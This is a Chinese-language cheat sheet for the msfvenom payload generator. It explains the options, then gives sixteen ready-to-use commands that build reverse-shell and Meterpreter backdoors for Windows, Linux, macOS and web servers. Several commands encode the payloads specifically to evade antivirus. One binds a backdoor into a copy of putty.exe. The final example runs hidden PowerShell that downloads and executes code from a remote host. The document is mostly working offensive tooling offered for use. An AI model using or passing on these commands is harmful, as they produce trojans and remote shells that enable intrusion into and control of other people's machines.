Msfvenom 參數實例
–p (- -payload-options)
添加載荷payload。
載荷這個東西比較多,這個軟件就是根據對應的載荷payload生成對應平臺下的後門,所以只有選對payload,再填寫正確自己的IP,PORT就可以生成對應語言,對應平臺的後門了!!!
(- -payload-options 列出payload選項)
–l
查看所有payload encoder nops。
–f (- -help-formats)
輸出文件格式。
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby
–e
編碼免殺。
–a (- -platform – -help-platforms)
選擇架構平臺
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
–o
文件輸出。
–s
生成payload
–b
避免使用的字符 例如:不使用 ‘\0f’。
–i
編碼次數。
–c
添加自己的shellcode。
–x | -k
捆綁。例如:原先有個正常文件normal.exe 可以通過這個選項把後門捆綁到這個程序上面。
實例:
實例1(簡單生成):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -f exe -o /Users/jiangzhehao/Downloads/1.exe
-p 指定payload,payload後跟該payload的option;
-o 指定payload的保存路徑,包含文件名
實例2(替換指定代碼):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -f exe -o /Users/jiangzhehao/Downloads/1.exe
-b ,--bad-char 替換代碼中會出現中斷的字符,如 '\x00\xff'
實例3(指定編碼器):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.0.102 LPORT=11111 -b '\x00' -e x86/shikata_ga_nai -f exe -o /Users/jiangzhehao/Downloads/1.exe
-e 指定特定的編碼器
實例4(綁定後門到其他可執行程序上):
msfvenom -p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 -x /Users/jiangzhehao/Downloads/putty.exe -k -f exe -o /Users/jiangzhehao/Downloads/puuty_bind.exe
-p windows/meterpreter/reverse_http LHOST=172.16.0.102 LPORT=3333 指定payload和payload的參數
-x /Users/jiangzhehao/Downloads/putty.exe 執行要綁定的軟件
-k 從原始的註文件中分離出來,單獨創建一個進程
-f exe 指定輸出格式
-o /Users/jiangzhehao/Downloads/puuty_bind.exe 指定輸出路徑
實例5 Windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
實例6 Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
實例7 MAC
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
實例8 PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
實例9 Asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
實例10 Aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
實例11 JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
實例12 War
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
實例13 Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
實例14 Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
實例15 Python
msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
實例16 exe 利用exec執行powershell後門
msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c $M=new-object net.webclient;$M.proxy=[Net.WebRequest]::GetSystemWebProxy();$M.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $M.downloadstring('http://192.168.0.104:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe
Msfvenom 參數實例